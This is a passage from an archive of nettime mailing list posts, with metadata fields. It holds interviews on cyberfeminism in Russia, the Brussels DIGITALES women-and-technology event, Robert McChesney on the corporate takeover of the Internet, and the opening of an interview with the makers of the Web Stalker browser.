curator,\nnot from us. We are kind of seperated, segmented. We are not able\nto keep an idea of East/West, background and figure. Doesn't matter\nfor me where to work, it is cleaner here.  Irina Aktagonova rules a\npolitic of group/east/west/high/low/thick/thin representation in the\ngallery 21 in St Petersburg. I am a part of their network.\n\nJB: Are you sympathetic to feminism?\n\nOS: In the mode of cyberfeminism.\n\nAM: I call myself a cyberfeminist. I think cyberfeminism is a step\nfrom feminism, keeping some important terms. I mean gender-sex\ndevision and other operative terms, but we are not associated with\npolitical and social descriptions of political feminism of 60th and\nstructuralist feminism concern mostly with defining gender in\nstructura of social and psychic presentations. Our gender could be\nsimply multiplied like any narrative. If necesary I function as man,\nor as a woman. Playfull gender, pre-conceptual body studies, developing\na discourse of the sexual body which is shadowed in our traditional\nphilosophy - that is, what we included being cyberfeminist.\nGender is no longer a political repressive concept or social\nprescription and restriction, it is a data base of images and functions\nto use freely from, because the whole narrative of classical European\nfilosofy and imaginery and of the social legislative system now is\nbroken into many pieces. Those pieces mean freedom of representation.\n\nJB: Fragmentation of classical filosofy means freedom?\n\nAM: When classical filosofy was contained in one long narrative, it was\ndangerous for indiviuality. The big narrative of classical filosofy, of\nEuropean imaginary, told you: You have to be like this, because the\nworld is described in that manner. But now with the situation of the\nbroken line we have a lot of fragments of models of representation.\nIt means that we could be free in our political and gender choice in\nimages. If you know that, you can act freely. If you don't know you will\nstill be trapped in that long oppression of cultural tradition.\n\nJB: What are specific cyberfeminist issues then?\n\nAM: Generally speaking the internet reality is a specific cyberfeminist\nissue. I think that net communication could easily show this freedom\nof presentation mode: freedom of images, of roles, of subject-concepts.\nCyberlife is our new reality. I enjoy to hear from different places of\ncomputerbased life about initiatives to express \"net feminism\",\n\"post-feminism\", \"schizo-feminism\". I think an idea of multiple\nformalization is placed in the cyber creative and reflective tactic.\nOf course I constantly hear that there are a lot of problems, with human\nrights and so on, but I see them as a fight between narratives. If you\nwant to be associated with one of them you automatically should fight\nwith the opposite one. That could keep you busy and falsify your\nactivism.\n\nIn Russia we have a hugetradition of feminism. One of the most radical\nthings was in the times of the October revolution of 1917. They\nlegalised abortions, provided good medical governmental payed service\nfor it, there were holidays for pregnancy, payment for baby delivery\nand other laws that gave legal freedom to a single mother, to give\nher time for social and political activities. Gender stricture was\ntotally destroyed in a few years. A painful experience was when people\nin the thirties tried to restore gender, they tried to return to the\nsocial practices of the bilinear family, but governmental law still\navoided social gender stricture. This revolutionary law created a\npolitical possibility for free love, so that people did get married\nuntil the middle of the 1930's . They thought about free expressions of\nsexuality in the early twenties especially. Having this experience of\nfeminist radicalism in our past, we don't need to fight for our future.\nWe already have our future in our past.\n\nJB: Are you saying now that cyberfeminism is to act from the freedom\nyou have as a woman? To realize you have this freedom and to act from\nit?\n\nAM: Mostly I have a freedom or unfreedom as a social and political\nperson, but social and political roles and identities are peanuts\ncompared to my whole existential task. As a woman I have not enough\nformal expressions, in discourses there is no cultural expression of\nthe body and the sexualised body. Motherhood and pregnancy are totally\nhidden under medical and pedagogical discourses. We have silence in\nthe most productive existential experiences. Having freedom we have\nkind of strong creative obligations to produce more formal expressions\nin a poetic way. That is what cyberfeminism and other extravagant self\narticulations are about.\n\n\n\"Virtual Anatomy\" - http://www.dux.ru/virtual/\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 15 Jun 1997 13:44:38 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d00afc9968f7a6b {AT} [194.109.44.171]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00107.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> Interview Alla Mitrofanova & Olga Suslova"
            },
            {
                "content-type": "text/plai",
                "from": "Cornelia Sollfrank <cornelia {AT} snafu.de>",
                "id": "00074",
                "content": "\nInterview: Laurence Rassel by Cornelia Sollfrank \nBrussels, December 10, 2003-01-11, office of CONSTANT \n[http://www.constantvzw.com/]\n\n\nI don't want to be alone in the 21st century\n\n\n\n\nC.S.: The conference DIGITALES just ended. Would you like to describe what DIGITALES is, and what happened in the last days?\n\nL.R.: DIGITALES was started on a very simple idea, to bring together for a short period of time, in the same place, women who were dealing with new technology. When I say women dealing with technology, I mean researchers from an academic background who are using technology as a tool to write, but also women working on the development of technology, then I mean artists using digital technology for their work, and I mean women who decided to use technology to find a job and earn their living and that of their families. \n\nI have realized, as an artist working with new technologies, or in culture, that we never meet other women theoreticians or researchers, or women using technnology to earn their living. When I was working for Sophia, the network of feminist studies, my job happened to be in the same street as a training center for unemployed women, which offered training in digital technologies. There I was, this network's secretary and a member of CONSTANT as artist and cyberfeminist, geographically right next to this women training center, and I simply could not imagine that these people would not meet, share their experiences and talk to each other about what it means to be a woman working in the field of technology.\n\nC.S.: Could you briefly explain what this training center, and what CONSTANT are?\n\nL.R.: Interface3 asbl is a centre and a team for vocational training and integration of women on the labour market in the sector of new technologies. Its aim is to train or retrain unemployed women with different level of education, for a job, and also to answer better society's demands. They are doing a great job there, giving women an education in programming or pc-support and the like, but the training projects are financed by public authorities and the private sector, which means women get in their education what government and companies need now, and not what the women themselves probably would decide that they want to learn.\n\nCONSTANT is a Brussels-based artists' organisation linking artistic and theoretical thinking on the Internet and digital communication for/in/with which I work. Amongst other things, we have been doing the annual multimedia festival called 'Jonctions 'for 5 years now.\n\nC.S.: Let us go back to DIGITALES, and how it came together.\n\nL.R.: Yes, for this we have to go a bit in the past. For me the beginning of DIGITALES, was the 'Cyberfeminist working days'. This was organized in 2000, but only as a cultural event. The idea was to organize workshops. As I had a lot of friends around me who wanted to make their website, edit sound, or use DV, I said ok, I know people who can teach, I can put together a workshop program, but from a feminist/cyberfeminist perspective. And the objective of the event was to make one song, one image and one film. There was a great atmosphere, and people were really enthusiastic with discussions also thinking about why and what they were doing in media, but and also argumenting about being feminist or not... It was nice.\n\nAnd I said to myself, ok, it's nice to be a cyberfeminist but this position stand, reflecting and action should be also brought to others, outside the cultural field, to the working place; I do not mean that making art is not a working place, but what I had in mind was office work, in a company or a call center, whatever. When I met the people from the training center, by chance as I explained, I realized that they were doing a great job of training, but they never took the time to think precisely what it meant they were doing and to reflect beyond. It's ok for women to find a job in that field, but at what price, under what condition, and for which economical system? Regarding the aesthetics of their work, they had no idea about what was going on in net art, or media art. They were trained to suit governement policies and the needs of private companies, and not to be independent thinkers with technology. I was also struck by the idea that academic thinkers produce statistic!\ns about the place of women in technology but most of them never meet a real person from there, and do not know anything about the condition of the women they are studying. So, what I initiated, was to ask all the different parties to take a bit of time, and think about what they/we were really doing, and exchange our positions; just for a moment. And it happened.\n\nC.S.: When did the first DIGITALES event take place, and how many people were involved?\n\nL.R.: There were already more than 100 women in Interface 3, the training centre. Plus the organisers' team:  Interface3,  Sophia, a coordination network for feminist/ gender studies and Constant. So during the 1st Digitales, something like 200 women were circulating/participating if we include the public coming from 'outside' the three organisations involved. \n\nC.S.: Could you give some examples of workshops, or lectures or other formats included in the program?\n\nL.R.: This year included a wide range: from a Linux install party to building your own webradio, to Dress for Success, a workshop by Isabelle Massu and Peggy Pierrot on writing your CV with a critical eye on the standards asked by the employers to women, this workshop was given with SPIP a free and open software. We had researchers on sexual discrimination at work in the sector of new technology, cyberfeminists, artists, but Mervin Jarman and Marlene Lewis from Mongrel also came to lead a Linker workshop. We had speakers from trade unions, banks, IBM, Amnesty International, we wanted to give a view of what is to work with new technology as a woman, and above all hoped that Digitales was a place where all these people coming from such different fields could meet and talk.\n\nC.S.: What is your idea behind bringing the different fields and people together?\n\nL.R.. I always say, \"I don't want to be alone in the 21st century.\" Either we go all together, or nobody will go. I feel bored in a society where I cannot exchange anything. That was the selfish part of DIGITALES, to be able to speak with other women working with technology, meaning to know each other and to exchange vocabulary, tools and theory. I myself wanted probably to prove that it was really possible at least to exchange words and tools. And of course, I want to change the world, or save it, like Aki in Final Fantasy (\"the question is\u008a would I be on time to save the world\" (laughter), and being able to exchange knowledge, tools and dreams is a first step. \n\nThis year DIGITALES #2 also had very concrete results: for example, race issues will be integrated in the politics of ADA, a new platform of Belgian training centers on women and technology. As a consequence of DIGITALES it will be written into their policy and job; they will focus on racial discrimination in jobs applications and launch research, actions and surveys. Another result is that the Flemish and the French-speaking university researchers on women and technology have met in 'flesh', for most of them for the first time, and decided to go on with meetings and exchanges; furthermore we hope that free software and open source software will be taught now in the training centers. Members of Brussels-based free radios have learned sound editing. A group will go on working on the audio archives to be streamed on Constant webradio, etc. I could not have said before DIGITALES that this were the goals of our meeting, but it is what happened. \n\nC.S.: What have DIGITALES to do with Cyberfeminism? \n\nL.R.: It's hard to explain, pull apart, because it is closely knitted together.\n\nC.S.: Could you describe what your idea of Cyberfeminism is?\n\nL.R.: Cyberfeminism is different things for me; it depends on where I am, and what I am doing. But one constant thing is to ask myself, wherever I am: \u0092why', \u0092what for', \u0092under which condition', \u0092for what economic system'; it is about deconstructing situations. Imagine a woman sitting in front of a computer and simply ask all these questions! And the other thing is to be able to project oneself into the future. Not to be nostalgic, but to be able to imagine a future, and to have the vocabulary, and the aesthetics to create it. This is what empowers me, because I can imagine myself with more power, with more knowledge about technology, or being able to deal with biotechnology. Before Cyberfeminism I was not able to imagine my body in the future. As I did not want to be a mother, I did not want to be a worker, I did not want to be a theoretician... Now, I have the option to be a Cyberfeminist, which suits me perfectly! In a way, it includes all the options, but at the same tim!\ne it is different and much more. It might serve also as a role model: \"When I grow up, I will be a Cyberfeminist.\" [laughter]. Sorry, that I cannot be more precise, but this is how it works for me. And for me DIGITALES means to change, to alter a place slightly, to take it and to shake it; smoothly like a virus, or even like an earthquake...\n\nC.S.: Talking about role models, and the deconstruction of categories, how do you see your role as an artist?\n\nL.R.: Well, I am trained as an artist, but nowadays when I am asked to provide a cv, I mention first that I am a cyberfeminist. But cyberfeminist is not - yet - recognised as a job, as artist is. And as people know that I am organizing and producing events, I enjoy telling them that I am an artist, because not being a curator or a producer it confuses them, as I am doing what I am doing as cyberfeminist and artist. \n\nC.S.: Can you make a link between the organisational work you are doing, the building of structures, and your understanding of art?\n\nL.R.: I follow a very simple path. When you learn to draw, you look at something. You learn to abstract from that something elements like light, shadow, lines. You do no longer see a lamp, a table, a woman. Seeing in 2d is a way of deconstruction. When I finished my education, I could draw everything, also from memory. But then I realized that everything I had been told about art and the art world was bullshit. What is the art world? What is the field of culture? Its real place, its real life, its economy? I decided to go and find out for myself, to deconstruct it. Maybe it is a bit arrogant to put it like this, but in a way it was like looking at something you want to draw, and I saw how it worked. \n\nAt this point I started to create a perception, a sensation. When you are an artist, you put something in place, it may be a product, it may be an action, so as people can feel, see or understand something. For me it was putting people, words, machines together in the same room, and the people being in this place could have a sensation or could understand something, and go away with this understanding.  \n\nC.S.: Are you talking about creating a situation?\n\nL.R.: Yes, situation sounds right. I was a conceptual artist without knowing it. What is really important for me, is what happens in between the images, between the people and the image. I was fed up with showing my canvases and my stuff in an exhibition, for people to say \"Oh, how nice!\", \"How bad!\", or \"I buy it\" and then nothing happened. What I wanted was to create a relationship with the people I am showing my work to. Also with CONSTANT we no longer call what we do \u0092festival', but we call it situation.  \n\nC.S.: What do you expect from the situation or from the relationship with your \u0092audience' or the people you invite to your situation?\n\nL.R.: That they go away with something, a word, an image, a bit of practical knowledge; that they stop in the street or when they see a movie, a website and notice something they wouldn't have noticed before.  It is like, again I can't find another image, like you put a friendly chip in their mind, it will change slightly or completely their perception. That is what happened to me when I encountered feminism, Chris Marker, cyberfeminism, you, mangas, electronic music, Terre Thaemlitz, sci-fi, hip hop, fan culture, I don't want to make the whole list, there are so, so many people, friends I met, saw, read, that they changed my mind, they let trails on you, in your perception. To be an artist for me was to intervene the in-between people and the world, maybe it is what i call the perception.\n\nC.S.: What role plays CONSTANT for in the way you are practising art? \n\nL.R.: CONSTANT is/was our undercover identity. We used it as a way to publish what we were doing. It allows to act as artist, but not under your own name, to create situations, organising festivals, meeting days. Being non-profit organisation, a group, allows you to move that way. And now, it is really a group. That is why I say, maybe I can go further now and do my individual work under my name. I do no longer embody a group which did not exist. At the beginning, it was called group, but 'we were only one'. I mean I was one. Then we were two. Now, it is a real group, it has changed, and I can go back to my own things.\n\nC.S.: What is your vision for the future, your personal dream?\n\nL.R.: I would like to be quieter. Not wanting to change the world all the time, and take all possible action, but to be more relaxed. You know, when you are painting and drawing, you spend hours with an empty mind, just creating lines and colors. It's a pity that my mind is not empty any more. I miss the feeling of time passing by. The other thing is that I want to be rich and famous.[laughs].\n\nWhen I look at the things I have done until now, besides the organisational stuff, I see myself as a performer. My body, my voice, are in the middle of everything. But I have to protect myself more. Maybe it would be better not to be in the center any more, not to take everything I do fleshly, and personally. But still, it's my job, my profession, and it's hard to step back. \n\nC.S.: If you would now start and do work under your own name, what would that be?\n\nL.R.: I would like to finish stuff I began years ago. Now, I have the technique to finish them. I took a movie, and we remade it ourselves, edited it, but we played it in my own perspective.\n\nC.S.: What is the original movie?\n\nL.R.: 'La collectionneuse', done by Eric Rohmer. I thought it was a chauvinist movie, and my favourite one, I know him by heart I wanted to be Patrick Bauchau's part, and when I got a camera I wanted to re-make it inverting the gender roles to prove how chauvinist the original was. But I realized that it was not that easy. So I asked all my friends what they had seen and I made a movie about what they had seen, so there was no movie, but only people looking at a movie. As we all live under the influence of the myth of the author, one thing I am doing is to deconstruct the author. And in this movie, there is no author, only spectators, only viewers. I want to finish that concept, and go further.\n\nWhat I am interested most at the moment is sound; for me people who make music and sound are people who defined themselves as artists and think globally. They choose consciously the technology they use, how their products are distributed, aware of what is happening with copyright laws, how much they get paid for a concert, often they are also producers and produce other people work and when radio is used it is a way of speaking with your own voice, but also inviting other people to speak, for a conversation, or for a monologue... Also I met artists who I really like, I mentioned Terre Thaemlitz, he is writing theory with his audio cd, and at the same time performing on stage dressed as a woman, so wearing content on his own body, using, being all what's possible: to be a theoretician, to be a body, and to be someone producing an art product.\n\nAnother thing I would like to do is to make a cyber heroine in 3d, because now I would like to confront myself again with representation. Feminism for me came after my art studies. I had already stopped making images. Now, with all what I know, what would be the image of - maybe a woman?                   \n\n\n\n\n--\n      ____ ____ ____ ____ ____  ___  ___  ___\nwww. ||a |||r |||t |||w |||a |||r |||e |||z || .org\n     ||__|||__|||__|||__|||__|||__|||__|||__||\n     |/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|/__\\|\n\n                        the ultimate sanity in art!\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 17 Jan 2003 15:22:17 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200301172054.h0HKsZj26507 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00074.html",
                "list": "nettime_l",
                "author_name": "Cornelia Sollfrank",
                "subject": "<nettime> I don't want to be alone in the 21st century"
            },
            {
                "content-type": "text/plai",
                "from": "Pit Schultz <pit {AT} icf.de>",
                "id": "00049",
                "content": "\nTowards a Democratic Media System:\nInterview with Robert McChesney\n\nRobert W. McChesney is Associate Professor of Journalism and Mass\nCommunications at the University of Wisconsin, Madison. He has written widely\non media history and communication policy. In particular, McChesney's work\nanalyzes the policy debates surrounding the Internet and telecommunication, the\neffects of corporate control and advertising support upon the nature of\njournalism, and the debates over public broadcasting and nonprofit media\nsystems. He currently hosts a bi-weekly radio public affairs program on WORT-FM\nin Madison.\n\nCorporate Watch: What's your perspective on the development of the corporate\ncontrol of the Internet? How is the many-to-many communications structure of\nthe Internet likely to change because of corporate involvement?\n\nRobert McChesney: Well, this goes back to the early '90s, when the emergence of\nthe World Wide Web made the Internet appear to be, and have the promise of\nbeing, an extraordinarily democratic and interactive medium, whereby people\ncould participate without censor, producing content, distributing it to\npotentially enormous audiences at very little cost. Material perhaps, in due\ntime, of very high quality, not just text messages, but really high quality\nvideo, audio, the whole works. For a time, we had bookshelves filled with views\nof the World Wide Web and the Internet as being this new technology that was\ngoing to completely undermine the existing communications industries; make them\nunimportant, because the Internet was going to undercut their semi-monopolistic\nhold over media and over telecommunications. The most famous piece along these\nlines was by a technology writer named Steven Levy -- you might have seen it\ntwo years ago in the New York Times Magazine -- [that] said all these huge\nmedia mergers going on in the world are nothing to worry about because these\nmedia giants are basically rearranging deck chairs on the Titanic, and the\niceberg they're going to hit is the Internet with its, as he put it, billions\nof channels.  \n\nYou see a lot less of that talk today. In fact, you see hardly anything like\nthat today, because that vision that Levy had, and that others before him have\nhad, was based on an idea that technologies have superpowers that override\nsocial considerations -- or a view that the market is inherently a thoroughly\ncompetitive and democratic mechanism (that's the George Gilder-type view). And\nin fact, both those views are dead wrong.  Two or three years ago, most media\nand telecommunication firms were very scared of the Internet. They were scared\nthat it could do exactly what Steven Levy said it might do. No one really knew\nwhere it was going to go. I think most of the entry to the Internet at that\ntime was primarily motivated out of sheer and utter fear; and just because\npeople wanted to cover their rear ends, so they wouldn't get outflanked.\nThere's still an element of fear today among the media and telecommunications\ngiants about the Internet, because no one still really knows exactly how it's\ngoing to develop. But the fear today is less that their entire industries are\ngoing to get outflanked, than that specific competitors might get a better\ndeal. The corporate community has got the Internet -- for the most part, it's\ntheirs. It's going to be incorporated into existing and emerging corporate\nempires: computer, software, telecommunication, and media empires. The ideas\nthat Steven Levy wrote two years ago, might as well have been written in the\n16th century, they are so ridiculously out of date.  And this is not to say\nthat it's settled. It's just to say that with the totally undebated but still\nquite important policy -- that whoever makes the most money wins -- you have a\nsituation in which the handful of people who have the most power in the market\nare dominating the playing field; exactly what you would expect with that\npolicy. That's the situation we're in now.\n\nCW: How does that affect the development of the medium from a user\nperspective?\n\nRM: Because there's tremendous pressure right now by the media firms, and\nreally every commercial interest, to make the Web more and more like\ntelevision, oftentimes we use the analogy of broadcasting to think about the\nWorld Wide Web -- channels dominated by corporate, commercial vendors.  And\nthere's an element of truth to that. But at the same time, on the Internet as\nsuch, there still isn't scarcity; people will [continue to] be able to start\nwebsites.  I think the metaphor that captures the Internet is much more like\nbook publishing, or magazine publishing. If you go to any newsstand in this\ncountry, with the exception of a handful in college towns and very large\ncities, you're just going to see the same 80-100 magazines being sold that are\npublished by the same five or six or seven firms. That doesn't mean there\naren't thousands of magazines. There are thousands and thousands of magazines;\nsome extraordinary magazines that we've never heard of or seen, and never will\nhear of or see.  The Web's always going to have those thousands of\nextraordinary things.  Most people will never see them. When they turn on their\nWebTV, or their Microsoft or Netscape browser software, or  {AT} Home (the TCI cable\naccess service), or AOL -- those websites will be hidden away. You can get to\nthem, but it will take hard work, and you'll have to really hunt and know what\nyou're looking for.\n\nWhat's different, what's the genius of the Internet compared to print, is that\nif someone is printing a great newsletter in El Salvador, I'll never see it.\nIt'd be physically impossible for me to get my hands on it, maybe.  With the\nInternet, if I know how to get around and get the address, I can find stuff\nfrom all over the world. So, it's a qualitative difference in that regard, and\na crucial one.  But one problem that progressives have had with the Internet\nand with the Web, is that we extrapolate from our own experience to think\nthat's how everyone else experiences it. In fact there's a very good chance\nthat it'll be a really nice ghetto for a handful of people who know where to\ngo.  But [that experience will be] pretty much buried away from the dominant\ncommercial Internet experience being prepared by the corporate giants for the\nmass of Americans. That's my sense. Now I might be wrong; this is not a done\ndeal. But I think that's the trajectory we're on right now, and short of any\npolicy otherwise, it's going to be tough to counteract that trajectory.\n\nCW: One plausible scenario is that Internet 2 is where all the high bandwidth,\nfancy, commercial stuff goes, and what we have today remains as an alternative\nmedium.\n\nRM: Yeah, the market pressure is going to be to offer differentiated service.\nTo have a super high bandwidth, high quality service for business users that\nwill cost more, but they need it; and maybe a similar super high quality\nservice for home consumers over their televisions or computers to those who are\nwilling to pay. And then going down to more or less a clunker service for\npeople who don't want to pay that much, or might just be interested in doing\nemail and textual messages that don't require the same sort of bandwidth.  But\nI think a market solution is very much a tiered system, where people get\ndifferent calibers of Internet, or computer communications.\n\nCW: Is it possible to have a kind of vibrant people's medium around the\nedges?\n\nRM: There are lots of things [on the Internet] that are really useful and help\nactivists and people interested in all sorts of issues that aren't being\ncovered by the dominant media. Although, it's worth noting that as the\ntechnological standards for the Internet are developed, to the extent\ncommercial interests play a role, that aspect is not going to be high on the\nlist of their concern. It's not that it won't be there; not that there won't be\npeople arguing for it. But as technical standards are made, commercial\ninterests are looking for ways you can make money off this.  I'm not an expert\nat this, but I think when the cable modem specs were developed, to take\nadvantage of the existing nature of cable signals, the downlink is vastly wider\nthan the uplink. As Heather Menzies [author of Whose Brave New World? -ed.] has\nput it, it's an interstate highway coming into the home, and a bicycle path\ngoing out. The orientation is very much toward sophisticated messages being\nsent in, and then textual messages to buy stuff being sent out. That's a very\nrational way to develop a commercial Internet -- to downgrade the interactive\naspect, and upgrade the ability to use it as a medium for sending sophisticated\ncommercial messages.\n\nCW: How does the Internet fit into the history of other mass media?\n\nRM: The Internet is not a new phenomenon. It's a different technology from\nearlier communications media technologies, but there is a history throughout\nthe 20th century, and probably earlier, of how revolutionary new communication\ntechnologies have been developed and eventually deployed.  History points to\nthe fact that technologies, while they have tremendous influence and all sorts\nof effects upon society that are unintended and unanticipated, their\nfundamental course is determined by how they're owned and operated. It's almost\nan iron law of US communication media, going back to AM radio in the 1920s,\nthat new technologies don't seem commercially viable at first, so they're\ndeveloped by the nonprofit, noncommercial sector, by amateurs. When they\ndevelop [the technology] so you can make money off it, the corporate sector\ncomes in, and through a variety of mechanisms, usually its dominance of\npoliticians, it muscles all these other people out of the way and takes it\nover.  That's exactly what happened with AM radio. Much like the Internet in\nthe early to mid-1990s, AM radio was the province largely of the nonprofit,\nnoncommercial [sector]. It didn't become commercially viable until the late\n1920s, eight or nine years into the radio explosion. And then the successful\nbig networks, NBC and CBS, were able to use their influence basically to hog\nall the good frequencies in the late '20s and early '30s. By 1934, nonprofit\nbroadcasters accounted [for] sometimes one percent or one half of one percent\nof all broadcasting in the US, whereas they had been at 40-50% in 1924. There'd\nbeen a total elimination of that sector. That's what's happened with FM radio,\nwith UHF television, to some extent with satellite and cable (although the\nprofit potential was seen there fairly quickly), and definitely with the\nInternet. There you see the historical example perfectly.\n\nCW: There is so little public debate about the use of the medium for public\ngood.\n\nRM: There's no debate about it at all. But the irony of course, is that the\nInternet only exists because of government subsidizing it for 20 years at\ntaxpayer expense. And this is not new either, the same thing happened more or\nless with most other communication technologies; they were established through\nsome sort of public sector subsidy. Radio and television and satellite -- all\nthese technologies were developed through government subsidy, through either\nthe university system or through the military in many cases. Internet the same\nway.  Taxpayers bankroll these things, develop them, and then once they show a\nprofit, they're turned over to the corporate sector with nothing in return to\nspeak of. Except the right to be a consumer and make those corporations rich --\nthat's the great right we have. It's just simply a scandal; it's horrendous\npublic policy.  And now we have this enormous mythology that the Internet is\nthe result of entreprenuerial genius, when in fact it was a government product.\nThere's nothing remotely close to a free market in the communication\nindustries, the computer industries, the media industries. These are, in most\ncases, what we call oligopolistic markets, dominated by a handful of\ncorporations with no threat of new competition. And they, like the media, have\nso many joint ventures with each other, at times it operates much more like a\ncartel.  If the US government had not subsidized the Internet for 20 years, the\nUS would not be the leader in it; it wouldn't have existed here. It might have\nexisted in Japan or Germany or Korea or Britain or some other country.  Or it\nmight not exist at all. It was the public sector that created it.\n\nCW: What should Internet activists be doing?\n\nRM: They've got to look at how the Internet's being developed by the corporate\nsector. Part of the problem of Internet activists is there's a romanticization\nthat the Internet is this groovy playpen in cyberspace, divorced from the ugly\nworld of telecommunications, software, media, and industrial capitalism. That's\nnot the case at all.  What we're seeing with the largest telecommunication\ncompanies, meaning the telephone companies AT&T, the Baby Bells, British\nTelecommunications -- they've formed a series of alliances, such that there are\nreally only going to be four or five of these global alliances that rule the\nwhole world in telecom. They're bringing the Internet into their existing\nempire to make it part of their one-stop shopping, along with cellular phones,\nlong distance, local and paging services.  Likewise, and most important from my\nperspective, the existing commercial media giants are doing everything in their\npower to completely colonize the Internet. The ten largest media firms in the\nworld (which account now for about half of the venture capital on the Internet,\nby the most recent statistics I've seen), have TV networks, film studios,\nrecord companies, book publishing; and [they see] the Internet [as] part of\ntheir empire.  So if we're thinking in terms of reforming the Internet, we've\ngot to see it as part of how we view what is a democratic media system. And\nthen see where does the Internet fit in. We've got to take the big picture view\nof the Internet as part of our media and our communication. Just like the firms\nwho are actually controlling it. We can't parcel it off as some separate\nentity, because it's really part of the big fight for media reform in this\ncountry, and communication reform, to create viable nonprofit, noncommercial\nsector.\n\nCW: Do we need to be working nationally or internationally, since the\ncorporations that you're talking about are not simply operating on a\nnational level?\n\nRM: A lot of the key issues are still made nationally. But we have to link up\nglobally too. That's absolutely right. For example, the big copyright deal\n[WIPO Copyright Treaty and WIPO Performances and Phonograms Treaty--ed.] passed\njust in December, with tremendous pressure by the largest commercial interests\nin this country, trying to extend the narrowest interpretation of copyright\nonto the Internet. Basically to turn people's computers into vending machines\nas much as possible, with a really narrow interpretation of fair use. Those are\nissues that aren't real sexy on the surface, but we have to get hip to them,\nand start fighting on them.  The other crucial thing is, if you look at the\nforces that're taking over the Internet now -- the Microsofts and Oracles from\nthe computer world; the ten largest media firms in the world [such as] Time\nWarner, Disney, Rupert Murdoch's News Corporation; the five or six largest\ntelecom alliances, which are some of the largest firms in the world, firms like\nAT&T, that do $50 billion a year in business -- when you look at the array of\npeople colonizing the Internet, you get a sense that if you're going to win\nthis fight, you better be serious about politics. This is no time for\ncyberspace dilettantes to sit around thinking they can change something by\nflaming someone's email. You're going up against a cornerstone institution of\nmodern capitalism with supreme political power in Washington. The Wall Street\nJournal, just three weeks ago, proclaimed that commercial broadcasting was\nhands down the most powerful lobby in the country, simply unbeatable on\npolitical issues. Well, the commercial broadcasters are just one of the\npowerhouse lobbies. The other lobbies are almost as strong as them.  So, if\nyou're going to get serious about reforming this thing, not just having your\ngroovy website for you and your cool friends to chat with each other off in the\nmargins, but really fight for the heart of the system, which I think we have to\nfight for, then you're talking about getting involved, deeply involved, in\nserious political organizing. Not just some Internet issues, and not just some\nmedia and telecom issues, but on broad political issues, because the way we're\ngoing to win this fight is to link issues of Internet reform and media reform\nwith broader social struggles.  Things like improving the quality of the\nstandard of living people have in this country, redistributing wealth,\nundercutting the sheer and total domination of the wealthy and the corporations\nover our political economy.  And when we've linked those things together, we'll\nhave a chance. Until then, we'll always be in the margins amusing ourselves.\nIn the current playing field, we can't win. In the current playing field we're\ndealing with a situation where the vast majority of Americans are totally\ndemoralized and depoliticized, sitting on their couch with a remote control and\na bag of chips, convinced that nothing can change. And that is not an accident.\nThat is exactly the education they're receiving day in and day out: nothing can\nchange. What we've got to do is change that equation.  Until we change it we\ncan't win. But to change that, there's no mystery about it; it's getting\norganized. That's how you change things. Getting people educated, organized and\nparticipating, off the couch. Put the chips down, put the remote down, start\ntalking to people, get involved, and realize this is our country, not theirs,\nand take it back.\n\nResources: The Global Media: The New Missionaries of Corporate Capitalism, by\nEdward S.  Herman & Robert W. McChesney (Cassell, 1997). An expose and analysis\nof the corporate takeover of the global media system, covering print media,\ntelevision, and telecommunications. It can be ordered for US$19.95 at\n1-800-561-7704.  Corporate Media and the Threat to Democracy, by Robert W.\nMcChesney (Seven Stories Press, 1997) Telecommunications, Mass Media and\nDemocracy, by Robert W. McChesney (Oxford University Press, 1993). Chronicles\nthe political debate over how best to construct U.S. broadcasting in the 1920s\nand 1930s.\n\nhttp://www.corpwatch.org/trac/internet/corpspeech/mcchesney.html\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Sat, 16 May 1998 00:56:51 +0200",
                "to": "nettime {AT} Desk.nl",
                "message-id": "199805170017.BAA04352 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9805/msg00049.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "<nettime> Interview with Robert McChesney"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00072",
                "content": "\nE-Interview with the makers of the Web Stalker browser\nSimon Pope, Colin Green and Matthew Fuller\nBy Geert Lovink\n\nMade for the First International Browserday, Amsterdam, april 17th, 1998\nFor more information: http://www.waag.org/\nThe Web Stalker: http://www.backspace.org/iod\n\nGL: 'Everybody is a browser designer' - but it is not everyman's hobby to\nbuild one (yet). Where does the idea, to create one's own browser, come\nfrom? Normally, designers are working with content and have to make it\nlook nice. But now there is the new profession of the 'interaction\ndesigner'.  Are you one of those? Are you techno determinists, who believe\nthat the shape of the interfaces is determining the actual information? \n\nMatthew Fuller:  Hmm, this is one of those statements along the lines of\n'Jederman ist ein kunstler'. (Joseph Beuys) These statements sound\ndemocratic, but actually have the subtext of meaning *Everyone wants to be\nlike me - the great man!*\nNo, not everyone is a browser designer for sure. And certainly it would be\nunwise to want to be like us. People should actually have aspirations\nright? The idea of making another piece of software to use the web with\ncame about for a few reasons. First of all, I/O/D had been working with\ndifferent ideas of interface and a general praxis around speculative\nreinvention of the computer anyway. Secondly, we were bored by all the\nhype. Thirdly, we knew it could be done, but didn't have the skills of the\nknowledge to do it properly - so we had to do it. As for the normal\nbehaviour of designers I reckon I'll leave that part of the question for\nSimon or Colin to answer with a firmer grip on the handle of the knife 